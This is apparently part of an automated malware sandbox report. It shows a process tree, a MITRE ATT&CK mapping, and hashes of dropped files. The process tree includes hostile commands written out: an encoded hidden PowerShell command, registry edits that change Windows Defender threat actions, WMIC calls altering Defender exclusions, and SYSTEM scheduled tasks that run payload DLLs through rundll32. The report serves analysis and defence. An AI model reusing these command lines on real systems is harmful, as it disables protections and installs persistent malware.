                                                                                                                                                                                                                                PID:4480
                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                                                              • Checks BIOS information in registry
                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                              • Identifies Wine through registry keys
                                                                                                                                                                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                              PID:408
                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                PID:5952
                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                PID:1608
                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:2060
                                                                                                                                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:2420
                                                                                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:4468
                                                                                                                                                                                                                                    • C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\GOqylmQ.exe
                                                                                                                                                                                                                                      C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\GOqylmQ.exe y7 /TJxFdidMF 385118 /S
                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                        PID:5248
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:6136
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                PID:3276
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                    PID:5364
                                                                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:5372
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                      PID:4704
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:556
                                                                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:5556
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                            PID:5176
                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                PID:2440
                                                                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:5324
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                  PID:5516
                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                      PID:5272
                                                                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                          PID:5948
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                        PID:1192
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                          /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                            PID:4740
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                              PID:5536
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:1276
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "bqGGCwwWIommTRgeuN"
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1996
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                              PID:5140
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                  PID:552
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5560
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                        PID:1184
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:464
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\JipyTrDkU\dcUEDe.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "jiLwFdOzPPQiWLm" /V1 /F
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                    PID:3280
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                    schtasks /CREATE /TN "jiLwFdOzPPQiWLm2" /F /xml "C:\Program Files (x86)\JipyTrDkU\nahGtSG.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                    PID:1408
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                    schtasks /END /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                      PID:3744
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "jiLwFdOzPPQiWLm"
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:3264
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "EyAjTIEydjCaoB" /F /xml "C:\Program Files (x86)\tegRANPZONsU2\JyRtQDJ.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:2296
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                        schtasks /CREATE /TN "nwujZhVsLEYxr2" /F /xml "C:\ProgramData\fcblnlcRRSrBhAVB\ubUNtnB.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                        PID:4376
                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:1736
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "njgsfWmNUCIAXOmvm2" /F /xml "C:\Program Files (x86)\krdeMCnRKomDOvwVunR\eIPiUEf.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                          PID:4856
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "ZXdYLGWImophNcyfuyr2" /F /xml "C:\Program Files (x86)\YLgKyOFzWxOqC\QmNNooz.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                          PID:4636
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /CREATE /TN "QdCYtDviHOrgqJLgZ" /SC once /ST 14:54:05 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\ZmzskowerwXEonlG\RDlwIuxU\aiQnwLv.dll\",#1 /sididwwqr 385118" /V1 /F
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                          PID:5384
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /run /I /tn "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                            PID:4752
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "WKALCIrwIEiqhKBsn"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:6104
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 5248 -s 2204
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                              PID:2440
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 4236 -ip 4236
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:1296
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:5000
                                                                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\RDlwIuxU\aiQnwLv.dll",#1 /sididwwqr 385118
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:4888
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\ZmzskowerwXEonlG\RDlwIuxU\aiQnwLv.dll",#1 /sididwwqr 385118
                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                      PID:1140
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                                        schtasks /DELETE /F /TN "QdCYtDviHOrgqJLgZ"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:5624
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 1552 -ip 1552
                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                        PID:5372
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 5248 -ip 5248
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:556
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:3164

                                                                                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                                                                                          MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                                                                                                                                                                                                          Execution

                                                                                                                                                                                                                                                                                                          Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1059

                                                                                                                                                                                                                                                                                                          PowerShell

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1059.001

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Persistence

                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                                                          Pre-OS Boot

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1542

                                                                                                                                                                                                                                                                                                          Bootkit

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1542.003

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Privilege Escalation

                                                                                                                                                                                                                                                                                                          Create or Modify System Process

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1543

                                                                                                                                                                                                                                                                                                          Windows Service

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1543.003

                                                                                                                                                                                                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1548

                                                                                                                                                                                                                                                                                                          Bypass User Account Control

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1548.002

                                                                                                                                                                                                                                                                                                          Scheduled Task/Job

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1053

                                                                                                                                                                                                                                                                                                          Defense Evasion

                                                                                                                                                                                                                                                                                                          Modify Registry

                                                                                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                                                                                          T1112

                                                                                                                                                                                                                                                                                                          Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1548

                                                                                                                                                                                                                                                                                                          Bypass User Account Control

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1548.002

                                                                                                                                                                                                                                                                                                          Impair Defenses

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1562

                                                                                                                                                                                                                                                                                                          Disable or Modify Tools

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1562.001

                                                                                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                                                                                          Pre-OS Boot

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1542

                                                                                                                                                                                                                                                                                                          Bootkit

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1542.003

                                                                                                                                                                                                                                                                                                          Subvert Trust Controls

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1553

                                                                                                                                                                                                                                                                                                          Install Root Certificate

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1553.004

                                                                                                                                                                                                                                                                                                          Credential Access

                                                                                                                                                                                                                                                                                                          Unsecured Credentials

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1552

                                                                                                                                                                                                                                                                                                          Credentials In Files

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1552.001

                                                                                                                                                                                                                                                                                                          Discovery

                                                                                                                                                                                                                                                                                                          Query Registry

                                                                                                                                                                                                                                                                                                          7
                                                                                                                                                                                                                                                                                                          T1012

                                                                                                                                                                                                                                                                                                          Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                          2
                                                                                                                                                                                                                                                                                                          T1497

                                                                                                                                                                                                                                                                                                          System Information Discovery

                                                                                                                                                                                                                                                                                                          6
                                                                                                                                                                                                                                                                                                          T1082

                                                                                                                                                                                                                                                                                                          Collection

                                                                                                                                                                                                                                                                                                          Data from Local System

                                                                                                                                                                                                                                                                                                          3
                                                                                                                                                                                                                                                                                                          T1005

                                                                                                                                                                                                                                                                                                          Command and Control

                                                                                                                                                                                                                                                                                                          Web Service

                                                                                                                                                                                                                                                                                                          1
                                                                                                                                                                                                                                                                                                          T1102

                                                                                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\JipyTrDkU\nahGtSG.xml
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            b80fcc93969500daa3883c3ab4123131

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            71067364bd2df84cc608e150937be40eef431d9e

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            2661887f3dbd2b31c8704caf17b1b2b38da50c8165b0cefa34d19acca3c18b1f

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            4be7ec4b9db335b757c1f6fa11f9574310d7edbdc8df577894fe2249d675731f2b3ae1b1dc0d801a1d1d2e48d09ec8a81b076204e233702421e95233f2cd7ebc

                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\YLgKyOFzWxOqC\QmNNooz.xml
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            4cb42f6e3b1492726c45b38a8a9b35a0

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            6f1f3849aa3afd383d66ac8b82d8204c12975f6a

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            39f78c39f8dcb3852040bf4ad4a88e4c4794407ae3ddcf3586300d93028c6b5a

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            77898be58738d43c991aeaed74d31c079ab7845fe1bb5d1fc36d672821e2e6b794705bf51f7b5cf09aba5430103f09b5255a779838b5118f0601051c263c21f4

                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\krdeMCnRKomDOvwVunR\eIPiUEf.xml
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            efcb8d879f72da1edf86c2c776380275

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            b6095d95c16798d703c06252918bc8fcac446ab3

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            cd069475f5ab19075d8208b93d4b62fcc443f201338974f641e77b3fa3137143

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            b212743792b178a288db0d3f4e01af6f93252b5bd744d58c7e9c5e8320deb039ae0d2e49730f79563c8ec4358c54fc66394c7cb2f47e583e1ae765586e8635b7

                                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\tegRANPZONsU2\JyRtQDJ.xml
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            85b4c641a7307e2caa630b6be597ff3b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            5190b771c072137f5cbd10edb995b4d57c593863

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            31e9e1f2265a356f22fed780582decdc242bb58b076ce94d3594abfd639edd2c

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            5d25b3b227cf1b9f17f5226edee59a386880a187abea9f4ceed313b33eb94d1b6eda2dcefedd156b71e97022a9c836bc1a7aba788c5cc5953b50f0c2ed345e61

                                                                                                                                                                                                                                                                                                          • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.5MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            b72899d0d474fd348706a21f14b394ac

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            41bda64c73dbce92c90a1171b6e5de3a852f5f1c

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            84b9c7dbe3f8543d60f60e8c19c24973daa5de9f8b300ec361b42d1847d1aff8

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            c19662581517ebd54d20b43947048a50ed05b1bb74715700ace2b1c2c26970b3995b923fa2d4de40b419927c2d41820823b79d9d4842ca8209ee5f384f715744

                                                                                                                                                                                                                                                                                                          • C:\ProgramData\fcblnlcRRSrBhAVB\ubUNtnB.xml
                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            692032697449fc6c9852dfea661d6d63

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            bed6060973df3f49c7568c7f2e37bcf23a1bff64

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            98a8658394a505cc0aa927f34cda78181e01c33e8862380d61cad29cd4822173

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            686bd7b1efb64a79baa825aa8c77f140219bd9e819c599f885f05dcc8f0cd964b6561e238a65e08e684e3d1124ad562df508c5202fe166df5163c8e03c6219af

